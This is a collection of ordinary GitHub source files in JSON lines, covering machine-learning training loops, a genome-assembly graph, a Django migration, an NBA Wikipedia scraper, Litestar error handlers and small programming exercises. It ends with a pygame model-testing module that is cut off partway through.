+{"seq_id":"19277628730","text":"from models import fa_selector\nfrom torch import nn\nfrom nets.transformer import Transformer\nimport torch\nfrom torch import optim\nfrom utils import utils\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nimport learn2learn as l2l\nimport torch.nn.functional as F\nfrom utils.uncertainty import ensemble_uncertainties_regression\nfrom utils.utils import l2_loss\n\ndef train_epoch(selector, source_domains_experts, student,\n                train_loader, val_loader, epoch, device, tlr=1e-4, slr=1e-4, ilr=1e-3,\n                batch_size=256, test_way='id', save=False, mse_best = np.inf, \n                root_dir='data'):\n    \n    for expert in source_domains_experts.values():\n        expert.eval()\n\n    loss = nn.MSELoss()\n\n    \n    features = student.features #\n    head = student.head         #\n    features = l2l.algorithms.MAML(features, lr=ilr)  \n    features.to(device)\n    head.to(device)\n    \n    all_params = list(features.parameters()) + list(head.parameters())\n    optimizer_s = optim.Adam(all_params, lr=slr)\n    optimizer_t = optim.Adam(selector.parameters(), lr=tlr)\n    \n    i = 0\n    \n    losses = []\n    \n    iter_per_epoch = len(train_loader)\n        \n    for x, y_true, metadata in tqdm(train_loader):\n        \n        selector.eval()\n        head.eval()\n        features.eval()\n        \n        domain = np.array(metadata['climate'])\n        \n        sup_size = x[0].size(0)//2\n        x_sup_num, x_sup_cat = x[0][:sup_size], x[1][:sup_size]\n        y_sup = y_true[:sup_size]\n        x_que_num, x_que_cat = x[0][sup_size:], x[1][sup_size:]\n        y_que = y_true[sup_size:]\n        domain = domain[:sup_size]\n\n        x_sup_num = x_sup_num.to(device)\n        x_sup_cat = x_sup_cat.to(device)\n        y_sup = y_sup.to(device)\n        x_que_num = x_que_num.to(device)\n        x_que_cat = x_que_cat.to(device)\n        y_que = y_que.to(device)\n        \n\n        with torch.no_grad():\n            logits = torch.stack(\n                [\n                utils.features_mask(expert(x_sup_num, x_sup_cat).detach(), domain, climate)\n                for climate, expert in source_domains_experts.items()\n                ], dim=-1)\n            ### Expert input: [BS, 123]; Expert output: [BS, N]\n            ### logits -> [BS, N, 3].\n            logits = logits.permute((0,2,1))\n                \n            \n            #logits = torch.stack([expert(x_sup).detach() for expert in experts_list], dim=-1)\n            #logits[:, :, split_to_cluster[z]] = torch.zeros_like(logits[:, :, split_to_cluster[z]])\n            #\n            #logits = mask_feat(logits, mask, len(models_list), exclude=True)\n        \n        t_out = selector.get_feat(logits)  \n\n        task_model = features.clone()\n        task_model.module.eval()\n        feat = task_model(x_que_num, x_que_cat)\n        out = head(feat)\n        with torch.no_grad():\n            loss_pre = loss(out.squeeze(), y_que).item()/x_que_num.size(0)\n        ###inner loop\n        feat = task_model(x_sup_num, x_sup_cat)\n        feat = feat.view_as(t_out)\n\n        inner_loss = l2_loss(feat, t_out)\n        task_model.adapt(inner_loss)\n        ###\n        ###outer loop\n        x_que = task_model(x_que_num, x_que_cat)\n        s_que_out = head(x_que)\n        s_que_loss = loss(s_que_out.squeeze(), y_que)\n        #t_sup_loss = teacher_ce(t_out, y_sup)\n        ###\n        \n        s_que_loss.backward()\n        \n        optimizer_s.step()\n        optimizer_t.step()\n        optimizer_s.zero_grad()\n        optimizer_t.zero_grad()\n        \n        ### Print some validation info\n        ### Code here\n        ###\n\n        losses.append(s_que_loss.item()/x_que.size(0))\n        \n            \n        if i == iter_per_epoch//2:\n            losses = np.mean(losses)\n            eval_loss = eval(selector, source_domains_experts, student, val_loader, device=device,\n                        ilr=ilr, test=False, progress=False, uniform_over_groups=False,\n                        root_dir=root_dir)\n            \n            losses = []\n            \n            if eval_loss < mse_best and save:\n                torch.save(selector.state_dict(), f'{root_dir}/distilled_selector.pth')\n                torch.save(student.state_dict(), f'{root_dir}/distilled_student.pth')\n                mse_best = eval_loss\n            \n        i += 1\n    return mse_best\n\ndef eval(selector, models_list, student, test_loader, device, ilr=1e-5,\n         test=False, progress=True, uniform_over_groups=False, root_dir='data'):\n\n\n    features = student.features\n    head = student.head\n    head.to(device)\n\n    student_maml = l2l.algorithms.MAML(features, lr=ilr)\n    student_maml.to(device)\n    \n    correct = 0\n    total = 0\n\n    old_domain = {}\n    if progress:\n        test_loader = tqdm(test_loader)\n\n    for x_sup, y_sup, metadata in test_loader:\n        student_maml.module.eval()\n        selector.eval()\n        head.eval()\n        #target_domain = np.random.choice(set(domains_list['climate']))\n        #domain_indicies = [i for i in range(len(x_sup)) if metadata['climate'][i] == target_domain]\n        x_sup_num, x_sup_cat = x_sup[0], x_sup[1]\n        #if len(domain_indicies) == 0:\n        x_sup_num = x_sup_num.to(device)\n        x_sup_cat = x_sup_cat.to(device)\n        y_sup = y_sup.to(device)\n        task_model = student_maml.clone()\n        task_model.eval()\n        \n        if metadata['climate'][0] not in old_domain:\n            with torch.no_grad():\n                logits = torch.stack([model(x_sup_num, x_sup_cat).detach() for model in models_list.values()], dim=-1)\n                logits = logits.permute((0,2,1))\n                t_out = selector.get_feat(logits)  \n            \n            feat = task_model(x_sup_num, x_sup_cat)\n\n            kl_loss = l2_loss(feat, t_out)\n            task_model.adapt(kl_loss)\n            old_domain[metadata['climate'][0]] = task_model.state_dict()\n        else:\n            task_model.load_state_dict(old_domain[metadata['climate'][0]])\n        \n        with torch.no_grad():\n            task_model.module.eval()\n            pred = task_model(x_sup_num, x_sup_cat)\n            pred = head(pred)\n            correct += F.mse_loss(pred, y_sup).item()\n            total += x_sup_num.size(0)\n            \n\n    return correct / total\n\ndef train_kd(selector, models_list, device, train_loader, val_loader, student,  batch_size=256, sup_size=24, tlr=1e-4, slr=1e-4, ilr=1e-5, num_epochs=30,\n             decayRate=0.96, save=True, test_way='ood', root_dir='data', accu_best=0):\n    best_loss_value = np.inf\n    for epoch in range(num_epochs):\n        train_loss_value = train_epoch(selector, models_list, student, \n                                train_loader, val_loader, epoch, \n                                device, tlr=tlr, slr=slr, ilr=ilr,\n                                batch_size=batch_size, test_way=test_way, save=save,\n                                root_dir=root_dir) # need to remove some input variables\n        loss_best = min(best_loss_value, train_loss_value)\n        eval_loss_value = eval(selector, models_list, student, val_loader, device=device, \n                     ilr=ilr, test=False, progress=True, uniform_over_groups=False,\n                     root_dir=root_dir)\n\n        print(\"Epoch: {} || Train loss: {:.4f} || Val loss: {:.4f} \".format(epoch, train_loss_value, eval_loss_value))\n        \n        if eval_loss_value < loss_best and save:\n            torch.save(selector.state_dict(), f'{root_dir}/distilled_selector.pth')\n            torch.save(student.state_dict(), f'{root_dir}/distilled_student.pth')\n            loss_best = eval_loss_value\n\n        tlr = tlr*decayRate\n        slr = slr*decayRate\n        \n        \ndef train_model_selector(selector, models_list, device, train_loader, val_loader, root_dir='data',\n                         batch_size=32, lr=1e-6, l2=0,\n                         num_epochs=12, decayRate=0.96, save=True, test_way='ood'):\n    for model in models_list.values():\n        model.eval()\n    \n    criterion = nn.MSELoss()\n    optimizer = optim.Adam(selector.parameters(), lr=lr, weight_decay=l2)\n    scheduler = optim.lr_scheduler.ExponentialLR(optimizer=optimizer, gamma=decayRate)\n    \n    i = 0\n    \n    losses = []\n    mse_best = np.inf\n\n    tot = len(train_loader)\n    \n    for epoch in range(num_epochs):\n        \n        print(f\"Epoch:{epoch}|| Total:{tot}\")\n        \n        for x, y_true, metadata in tqdm(train_loader):\n            selector.train()\n            \n            x_num, x_cat = x[0], x[1]\n            x_num = x_num.to(device)\n            x_cat = x_cat.to(device)\n            y_true = y_true.to(device)\n    \n            with torch.no_grad():\n                \n                features = torch.stack([model(x_num, x_cat).detach() for model in models_list.values()], dim=-1)\n                features = features.permute((0,2,1))\n\n            out = selector(features)\n            out = out.squeeze()\n            \n            loss = criterion(out, y_true)\n            loss.backward()\n            optimizer.step()\n            optimizer.zero_grad()\n            losses.append(loss.item()/batch_size)\n            \n            \n            if i % (tot//2) == 0 and i != 0:\n                losses = np.mean(losses)\n                avg_mse = get_selector_accuracy(selector, models_list, val_loader, \n                                                device, progress=True)\n                \n                print(\"Iter: {} || Train loss: {:.4f} || Val loss: {:.4f} \".format(i, losses, avg_mse))\n                losses = []\n                \n                if avg_mse < mse_best and save:\n                    print(\"Saving model ...\")\n                    torch.save(selector.state_dict(), root_dir)\n                    mse_best = avg_mse\n                \n            i += 1\n            \n        scheduler.step()\n        \n        \n\ndef get_selector_accuracy(selector, models_list, data_loader, device, progress=True):\n    selector.eval()\n    correct = 0\n    total = 0\n    mse_loss = nn.MSELoss()\n    if progress:\n        data_loader = tqdm(data_loader)\n    for x, y_true, metadata in data_loader:\n        \n        x_num, x_cat = x[0], x[1]\n        x_num = x_num.to(device)\n        x_cat = x_cat.to(device)\n        y_true = y_true.to(device)\n        \n        with torch.no_grad():\n            features = torch.stack([model(x_num, x_cat).detach() for model in models_list.values()], dim=-1)\n            features = features.permute((0,2,1))\n            out = selector(features)\n            out = out.squeeze()\n            correct += mse_loss(out, y_true).item()\n            total += out.size(0)\n    \n    return correct/total\n\n\n        \ndef train_model(model, device, train_loader, val_loader, domain=None, batch_size=32, lr=1e-3, l2=1e-2, \n                num_epochs=5, decayRate=1., save=True, test_way='ood', root_dir='data'):\n\n    \n    criterion = nn.MSELoss()\n    optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=l2)\n    scheduler = optim.lr_scheduler.ExponentialLR(optimizer=optimizer, gamma=decayRate)\n    \n    losses = []\n    mse_best = np.inf\n    i = 0 \n\n    tot = len(train_loader)\n    \n    for epoch in range(num_epochs):\n        \n        print(f\"Epoch:{epoch} || Total:{tot}\")\n        \n        for x, y_true, metadata in tqdm(train_loader):\n            model.train()\n    \n            x_num, x_cat = x[0], x[1]\n            x_num = x_num.to(device)\n            x_cat = x_cat.to(device)\n            y_true = y_true.to(device)\n            \n            pred = model(x_num, x_cat)\n\n            loss = criterion(pred, y_true)\n            loss.backward()\n            optimizer.step()\n            optimizer.zero_grad()\n            losses.append(loss.item()/batch_size)\n            \n            \n            if i % (tot//2) == 0 and i != 0:\n                losses = np.mean(losses)\n                avg_mse = get_model_accuracy(model, val_loader, device=device)\n\n                print(\"Iter: {} || Train loss: {:.4f} || Val loss: {:.4f}\".format(i, losses, avg_mse))\n                losses = []\n\n                if avg_mse < mse_best and save:\n                    print(\"Saving model ...\")\n                    torch.save(model.state_dict(), root_dir)\n                    mse_best = avg_mse\n\n\n            i += 1\n        \n        scheduler.step()\n    \n    \ndef get_model_accuracy(model, data_loader, device, domain=None):\n    model.eval()\n    mse_loss = nn.MSELoss()\n    correct = 0\n    total = 0\n    for x, y_true, metadata in tqdm(data_loader):\n        \n        x_num, x_cat = x[0], x[1]\n        x_num = x_num.to(device)\n        x_cat = x_cat.to(device)\n        y_true = y_true.to(device)\n        \n        out = model(x_num, x_cat)\n        correct += mse_loss(out, y_true).item()\n        total += out.size(0)\n        \n    return correct / total","repo_name":"Nik212/domain-adaptation","sub_path":"src/.ipynb_checkpoints/meta_dmoe-checkpoint.py","file_name":"meta_dmoe-checkpoint.py","file_ext":"py","file_size_in_byte":12719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37670883021","text":"class AdjNode():\n    def __init__(self, name):\n        '''\n        Directed adjacency graph node. It holds a label, a list of input nodes and a list of output nodes\n        :param name: What to label this node\n        '''\n        self.name = name\n        self.ins = []\n        self.outs = []\n\nclass AdjGraph():\n    def __init__(self, overlaps):\n        '''\n        Create a graph where each sequence is a node\n        :param overlaps: adjasency dictionayy of overlaps\n        :return: Adjacency graph\n        '''\n        self.graph = {}\n        for src,destlist in overlaps.items():\n            srcnode = self.getNode(src)\n            for dest in destlist:\n                destnode = self.getNode(dest[0])\n                srcnode.outs.append((destnode, dest[1]))\n                destnode.ins.append((srcnode, dest[1]))\n\n    def getNode(self, name):\n        '''\n        Return the adjasency graph node with the given label, creating a new one if needed\n        :param name:\n        :return:        Node with the given label\n        '''\n        if name in self.graph:\n            node = self.graph[name]\n        else:\n            node = AdjNode(name)\n            self.graph[name] = node\n        return node\n\n    '''\n    Get all Maximal non-Branching paths algorithm\n\n    Paths ← empty list\n    for each node v in Graph\n        if v is not a 1-in-1-out node\n            if out(v) > 0\n                for each outgoing edge (v, w) from v\n                    Path ← the path consisting of single edge (v, w)\n                    while w is a 1-in-1-out node\n                        extend NonBranchingPath by the edge (w, u) \n                        w ← u\n                    add NonBranchingPath to the set Paths\n    for each isolated cycle Cycle in Graph\n        add Cycle to Paths\n    return Paths\n    '''\n\n    def getAllBranches(self):\n        '''\n        Separate the graph into disjoint branches that do not share any edges\n        :param graph:   adjasency graph\n        :return:        list of the paths that represent all graph branches\n        '''\n        paths = []\n        visited = set()\n        for _, curnode in self.graph.items():\n            if (len(curnode.outs) != 1) or (len(curnode.ins) != 1):\n                for vpair in curnode.outs:\n                    v = vpair[0]\n                    curpath = [(curnode, 0), vpair]\n                    visited.add(curnode.name)\n                    visited.add(v.name)\n                    while (len(v.outs) == 1) and (len(v.ins) == 1):\n                        vpair = v.outs[0]        # We know there is exactly one node in the outs list\n                        v = vpair[0]\n                        visited.add(v.name)\n                        curpath.append(vpair)\n                    paths.append(curpath)\n\n        for _, curnode in self.graph.items():\n            if curnode.name not in visited:\n                curpath = [(curnode, 0)]\n                v = curnode\n                while (len(v.outs) == 1) and (v.name not in visited):\n                    visited.add(v.name)\n                    vpair = v.outs[0]  # We know there is exactly one node in the outs list\n                    v = vpair[0]\n                    curpath.append(vpair)\n                paths.append(curpath)\n\n        return paths\n\n    def assembleContigs(self, paths):\n        '''\n        Convert each path in the set into a single sequence by merging overlaps\n        :param paths:   Set of paths through a graph\n        :return:        Set of contigs\n        '''\n        seqs = []\n        for path in paths:\n            seq = path[0][0].name\n            for i in range(1, len(path)):\n                node = path[i][0]\n                startpos = path[i][1]\n                seq += node.name[startpos:]\n            seqs.append(seq)\n        return seqs","repo_name":"jbhangoo/jbhangoo.github.io","sub_path":"src/Genome/assembly/AdjGraph.py","file_name":"AdjGraph.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41409270173","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('hosts', '0019_delete_weblogic_admin_server_hostid'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='weblogic_server',\n            name='admin_id',\n        ),\n        migrations.DeleteModel(\n            name='weblogic_server',\n        ),\n    ]\n","repo_name":"yanjunjie/myops","sub_path":"hosts/migrations/0020_auto_20170301_0756.py","file_name":"0020_auto_20170301_0756.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71470484736","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Button\nplt.style.use('seaborn-darkgrid')\n\n# def for plots\ndef pt(df, name):\n    plt.rcParams['figure.figsize'] = (11,6)\n    plt.rcParams['figure.dpi'] = 150\n\n    PPG = [float(line) for line in df.PPG]\n    MPG = [float(line) for line in df.GP]\n\n    fig, ax1 = plt.subplots()\n\n    color = 'orangered'\n    ax1.set_xlabel(name)\n    ax1.set_ylabel('Points Per Game', color=color)\n    ax1.plot(df.Year, PPG, color=color)\n    ax1.tick_params(axis='y', labelcolor=color)\n\n    ax2 = ax1.twinx()  # instantiate a second axes that shares the same x-axis\n\n    color = 'navy'\n    ax2.set_ylabel('Games Played', color=color)  # we already handled the x-label with ax1\n    ax2.plot(df.Year, MPG, color=color)\n    ax2.tick_params(axis='y', labelcolor=color)\n\n    fig.tight_layout()  # otherwise the right y-label is slightly clipped\n    plt.title('Games Play VS Points Per Game', pad=1)\n    plt.gcf().autofmt_xdate()\n    plt.show()\n\n# def to grab url and check status code\ndef data(url):\n    #url = 'https://en.wikipedia.org/wiki/Michael_Jordan'\n    sYear = []\n    sSeason = []\n    sTeam = []\n    sGP = []\n    sGS = []\n    sMPG = []\n    sFG = []\n    s3P = []\n    sFT = []\n    sRPG = []\n    sAPG = []\n    sSPG = []\n    sBPG = []\n    sPPG = []\n\n    r = requests.get(url)\n    text = r.text\n    soup = BeautifulSoup(text, 'html.parser')\n\n    # Create a try execpt statment for status code\n    sCode = r.status_code\n    print(sCode)\n\n    # I found two different formats for the stat data\n    # This Try/Except statement find which format to use\n    try:\n        # Format 1\n        # I'm using this method to create wikitable \n        wikitable = soup.find('table', {'class':'wikitable sortable'})\n        # Find all 'th' and 'td'\n        th = wikitable.find_all(['th'])\n        td = wikitable.find_all(['td'])\n        x = True\n        y = False\n        regular_season = []\n    except:\n        # Format 2\n        wikitable = soup.find('table', {'class':'wikitable'})\n        # Find all 'th' and 'td'\n        th = wikitable.find_all(['th'])\n        td = wikitable.find_all(['td'])\n        y = True\n        x = False\n        regular_season = []\n        \n    stat_header = []\n    for col in th:\n        col = col.get_text()\n        col = col.rstrip()\n        stat_header.append(col)\n\n    stat = []\n    for row in td:\n        row = row.get_text()\n        row = row.rstrip()\n        stat.append(row)\n        \n    # Drop the last two rows starting @ Career\n    # These rows have a different shape \n    # and will be a problem in merging the data\n    while x == True:\n        for s in stat:\n            if s != 'Career':\n                regular_season.append(s)\n                continue\n            else:\n                x = False\n                break\n    while y == True:\n        for s in stat:\n            if s != 'Career totals':\n                regular_season.append(s)\n                continue\n            else:\n                y = False\n                break\n        \n    # This line creates a list that matches \n    # the length of the regular season stats\n    header = stat_header * (len(regular_season)//len(stat_header))\n\n    # Creates a list of tuples\n    # Unpacked the to list into tuple to save data\n    # Important to keep the header column and stat (key/value) pair connected\n    result = list(zip(header, regular_season))\n\n    # Loop through the results list of tuples \n    # and add the stats to the correct list\n    # Clean data for processing\n    for x in result:\n        if x[0] == 'Year':\n            stp = (x[1].rstrip('†'))\n            sYear.append(stp)\n        elif x[0] == 'Season':\n            if len(x[1]) > 7:\n                stp = x[1][:-2]\n                sSeason.append(stp)\n            else:\n                sSeason.append(x[1])\n        elif x[0] == 'Team':\n            sTeam.append(x[1])\n        elif x[0] == 'GP':\n            sGP.append(x[1])\n        elif x[0] == 'GS':\n            sGS.append(x[1])\n        elif x[0] == 'MPG':\n            stp = (x[1].rstrip('*'))\n            sMPG.append(stp)\n        elif x[0] == 'FG%':\n            sFG.append(x[1])\n        elif x[0] == '3P%':\n            s3P.append(x[1])\n        elif x[0] == 'FT%':\n            sFT.append(x[1])\n        elif x[0] == 'RPG':\n            sRPG.append(x[1])\n        elif x[0] == 'APG':\n            sAPG.append(x[1])\n        elif x[0] == 'SPG' or x[0] == 'STL':\n            stp = (x[1].rstrip('*'))\n            sSPG.append(stp)\n        elif x[0] == 'BPG' or x[0] == 'BLK':\n            sBPG.append(x[1])\n        elif x[0] == 'PPG':\n            stp = (x[1].rstrip('*'))\n            sPPG.append(stp)\n        \n        \n    # Format 1\n    # Now that the stats are in the correct \n    # list create the dataframe\n    if len(stat_header) == 13:\n        df = pd.DataFrame(list(zip(sYear,sTeam,sGP,sGS,sMPG,sFG,s3P,sFT,sRPG,sAPG,sSPG,sBPG,sPPG)), \n                    columns =['Year', 'Team', 'GP','GS','MPG','FG%','3P%','FT%','RPG','APG','SPG','BPG','PPG'])\n        return df \n    elif len(stat_header) == 11:\n        if len(sSeason) > 0:\n            df1 = pd.DataFrame(list(zip(sSeason,sTeam,sGP,sGS,sMPG,sFG,sFT,sBPG,sRPG,sAPG,sPPG)), \n                    columns =['Season', 'Team', 'GP','GS','MPG','FG%','FT%','BPG','RPG','APG','PPG'])\n            return df1\n        else:\n            df1 = pd.DataFrame(list(zip(sYear,sTeam,sGP,sMPG,sFG,sFT,sRPG,sAPG,sSPG,sBPG,sPPG)), \n                    columns =['Year', 'Team', 'GP','MPG','FG%','FT%','RPG','APG','SPG','BPG','PPG'])\n            return df1\n    elif len(stat_header) == 9:\n        df2 = pd.DataFrame(list(zip(sYear,sTeam,sGP,sMPG,sFG,sFT,sRPG,sAPG,sPPG)), \n                    columns =['Year', 'Team', 'GP','MPG','FG%','FT%','RPG','APG','PPG']) \n        return df2        \n    else:\n        print('This did not work!')\n\nif __name__ == \"__main__\":\n    url = input('Please enter link here to see player stats: ')\n    # url = 'https://en.wikipedia.org/wiki/LeBron_James'\n    a = url.split('/')\n    name = a[4].replace('_', ' ')\n    df = data(url)\n    print(df)\n    pt(df, name)\n    exit","repo_name":"ctd1077/Wiki-NBA-Stat-Scraper","sub_path":"nba.py","file_name":"nba.py","file_ext":"py","file_size_in_byte":6155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73378297535","text":"from enum import Enum\nfrom traceback import print_exception\nfrom typing import Any, Dict, Generic, List, Optional, TypeVar, cast\n\nfrom litestar import Request, Response\nfrom litestar.exceptions import ValidationException\nfrom litestar.exceptions.http_exceptions import (\n    MethodNotAllowedException,\n    NotFoundException,\n)\nfrom litestar.types import ExceptionHandlersMap\nfrom msgspec import Struct\n\nfrom sspeedup.api.code import Code, get_default_msg, is_ok\n\n_T = TypeVar(\"_T\")\n\nREQUEST_STRUCT_CONFIG: Dict[str, Any] = {\n    \"frozen\": True,\n    \"kw_only\": True,\n    \"forbid_unknown_fields\": True,\n    \"rename\": \"camel\",\n}\n\nRESPONSE_STRUCT_CONFIG: Dict[str, Any] = {\n    \"kw_only\": True,\n    \"rename\": \"camel\",\n}\n\n\nclass ResponseStruct(Struct, Generic[_T], frozen=True, kw_only=True):\n    ok: bool\n    code: int\n    msg: str\n    data: Optional[_T] = None\n\n\ndef get_response_struct(\n    *, code: Code, msg: Optional[str] = None, data: Optional[_T] = None\n) -> ResponseStruct[_T]:\n    return ResponseStruct(\n        ok=is_ok(code),\n        code=code,\n        msg=msg if msg else get_default_msg(code),\n        data=data,\n    )\n\n\nSWAGGER_OPENAPI_CONFIG = {\n    \"root_schema_site\": \"swagger\",\n    \"enabled_endpoints\": {\"swagger\"},\n}\n\n\ndef _format_validation_errors(\n    detail: str, extra: Optional[List[Dict[str, Any]]]\n) -> str:\n    if not extra:\n        return detail\n\n    result: List[str] = [\"数据校验失败：\"]\n    for item in extra:\n        result.append(\n            f\"{item['key']}\"\n            f\"（{item['source'].value if isinstance(item['source'], Enum) else item['source']}）：\"\n            f\"{item['message']}\"\n        )\n\n    return \"\\n\".join(result)\n\n\ndef validation_exception_handler(\n    _: Request, exception: Exception\n) -> Response[ResponseStruct]:\n    exception = cast(ValidationException, exception)\n\n    return Response(\n        get_response_struct(\n            code=Code.BAD_ARGUMENTS,\n            msg=_format_validation_errors(exception.detail, exception.extra),  # type: ignore\n        ),\n        status_code=400,\n    )\n\n\ndef not_found_exception_handler(_: Request, exception: Exception) -> Response[bytes]:\n    return Response(b\"\", status_code=404)\n\n\ndef method_not_allowd_exception_handler(\n    _: Request, exception: Exception\n) -> Response[bytes]:\n    return Response(b\"\", status_code=405)\n\n\n_DESERIALIZE_FAILED_ARGS_STRING = {\n    \"400: Input data was truncated\",\n    \"400: JSON is malformed\",\n}\n\n\ndef internal_server_exception_handler(\n    _: Request, exception: Exception\n) -> Response[ResponseStruct]:\n    if len(exception.args) == 1:\n        for item in _DESERIALIZE_FAILED_ARGS_STRING:\n            if item in exception.args[0]:\n                # 反序列化失败\n                return Response(\n                    get_response_struct(code=Code.DESERIALIZE_FAILED), status_code=400\n                )\n\n    print_exception(exception)\n\n    return Response(\n        get_response_struct(\n            code=Code.UNKNOWN_SERVER_ERROR,\n        ),\n        status_code=500,\n    )\n\n\nEXCEPTION_HANDLERS: ExceptionHandlersMap = {\n    ValidationException: validation_exception_handler,\n    NotFoundException: not_found_exception_handler,\n    MethodNotAllowedException: method_not_allowd_exception_handler,\n    Exception: internal_server_exception_handler,\n}\n","repo_name":"FHU-yezi/sspeedup","sub_path":"sspeedup/api/litestar.py","file_name":"litestar.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"70287955776","text":"import sys\r\n\r\ninput = sys.stdin.readline\r\nn, s = map(int, input().split())\r\narr = list(map(int, input().split()))\r\ncnt = 0\r\n\r\n\r\ndef bfs(idx, sub_sum):\r\n    global cnt\r\n\r\n    if idx >= n:  # 백 트래킹\r\n        return\r\n\r\n    sub_sum += arr[idx]\r\n\r\n    if sub_sum == s:\r\n        cnt += 1\r\n\r\n    # 현재 arr[idx]를 선택한 경우의 가지\r\n    bfs(idx + 1, sub_sum)\r\n\r\n    # 현재 arr[idx]를 선택하지 않은 경우의 가지\r\n    bfs(idx + 1, sub_sum - arr[idx])\r\n\r\n\r\nbfs(0, 0)\r\nprint(cnt)\r\n","repo_name":"ddongbu/PS","sub_path":"백준/Silver/1182. 부분수열의 합/부분수열의 합.py","file_name":"부분수열의 합.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"29820365762","text":"from google.cloud import pubsub_v1\n\npublisher = pubsub_v1.PublisherClient()\ntopic_path = publisher.topic_path('test4-200718', \"myTopics\")\n\n\ndata = u'Hello World'\ndata = data.encode('utf-8')\npublisher.publish(topic_path, data=data)\n\nprint('Published messages.')","repo_name":"tertiarycourses/GoogleCloudPlatformTraining","sub_path":"exercises/module4_3_publish.py","file_name":"module4_3_publish.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"9924652247","text":"\"\"\"\nRepresent a small bilingual (English-Swedish) glossary given\n below as a Python  dictionary\n{\"merry\":\"god\", \"christmas\":\"jul\", \"and\":\"och\", \"happy\":\"gott\", \n\"new\":\"nytt\", \"year\":\"ar\"}\nand use it to translate your Christmas wishes from English \ninto Swedish.\nThat is, write a python function translate() that accepts the \nbilingual dictionary and a  list of English words (your \nChristmas wish) and returns a list of equivalent Swedish \n words.\n\nInput \t\t\t         Output\n[\"merry\",\"christmas\"]\t\t[\"god\" ,\"jul\"]\n[\"happy\",\"new\",\"year\"]          [\"gott\",\"nytt\",\"ar\"]\n\"\"\"\n\n\n\ndef translate(words):\n    dict = {\"merry\":\"god\", \"christmas\":\"jul\", \"and\":\"och\", \"happy\":\"gott\", \"new\":\"nytt\", \"year\":\"ar\"}\n    swedish = []\n    for word in words:\n        swedish.append(dict[word])\n    return swedish\n\nprint(translate([\"merry\",\"christmas\"]))\n","repo_name":"rishi-ragav/learning-java","sub_path":"practice-day-3/program1.py","file_name":"program1.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"18939616873","text":"\"\"\"Faça um programa que calcule o valor total investido por um colecionador em sua coleção de CDs e o valor médio gasto em cada um deles. O usuário deverá informar a quantidade de CDs e o valor para em cada um. \"\"\"\ncont = 1\nsoma = 0\nqtd = int(input(\"Digite a Qtd de CDs :\"))\nwhile cont <= qtd:\n  val = float(input(f\"Valor do {cont}° CD = R$\"))\n  soma = soma + val\n  cont += 1\nmed = soma / qtd\nprint(f\"Valor medio e = R${med:.2f}\")","repo_name":"Silovisk/Python_Brasil_Lista_De_Exercicios","sub_path":"03 - Estrutura De Repeticao/ex028 - Valor medio da coleçao.py","file_name":"ex028 - Valor medio da coleçao.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"40365665940","text":"\"\"\"\nA module for testing out models.\n\nDefines various functions for testing stuff.\n\"\"\"\nimport time\nimport os.path as op\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport pygame\n\nimport env\n\nfrom glob import glob\nfrom tqdm import tqdm\n\n# from run import load_dl_parts\nfrom graph_utils import state_list_to_graph\nfrom graph_utils import merge_graphs\n\n# def test_models(save_dir, test_list, taxon):\n#     \"\"\"\n#     Tests all the models listed in save_dir on the datasets loaded from the\n#     test list (that lists the names of the datasets to be loaded).\n\n#     Returns the \n\n#     taxon is the model used.\n#     \"\"\"\n#     test_dls = []\n#     for name in test_list:\n#         print(name)\n#         test_dls.append(load_dl_parts(name))\n#     save_list = sorted(glob(op.join(save_dir, '*.pt')))\n#     for model_path in save_list:\n#          ...\n\n# def play(taxon, save_path):\n#     \"\"\"\n#     Initializes an environment that a user can play with to test the model\n#     predictons.\n#     \"\"\"\n#     e = env.Env(16, 20)\n#     e.random_config(3)\n#     state_list = e.to_state_list(norm=True)\n#     query_graph = state_list_to_graph(state_list)\n#     # add distractors\n#     n_d = 5\n#     for _ in range(n_d):\n#         env.add_random_object()\n#     s = env.to_state_list(norm=False)\n#     pg = env.Playground(16, 20, s)\n#           \n\nclass ModelPlayground(env.Playground):\n    \"\"\"\n    This class extends the Playground class in the env module.\n    There is an additional model (loaded from a pretrained one) that produces\n    an output at each action performed, allowing to explore the evolution of\n    the trained model's prediction when the user deforms the base confifuration\n    or adds objects.\n    \"\"\"\n    def __init__(self, envsize, gridsize, model, state=None):\n        \"\"\"\n        Initializes the Model Playground.\n        \"\"\"\n        super(ModelPlayground, self).__init__(envsize, gridsize, state)\n        self.model = model\n\n    def get_graph(self):\n        \"\"\"\n        Gets the graph associated with the current environment state. \n        \"\"\"\n        s = self._env.to_state_list(norm=True)\n        return state_list_to_graph(s)\n\n    def add_shape(self):\n        try:\n            self._env.add_random_object()\n        except env.SamplingTimeout:\n            print('Sampling timed out, environment is probably quite full')\n\n    def interactive_run(self, reset=False, new_config=True):\n        \"\"\"\n        Plays an interactive run.\n\n        The user can select a shape with the space bar, move a shape using the \n        arrow keys, add a random shape using the enter bar, and evaluate the \n        output of the model using the shift key.\n\n        Press esc 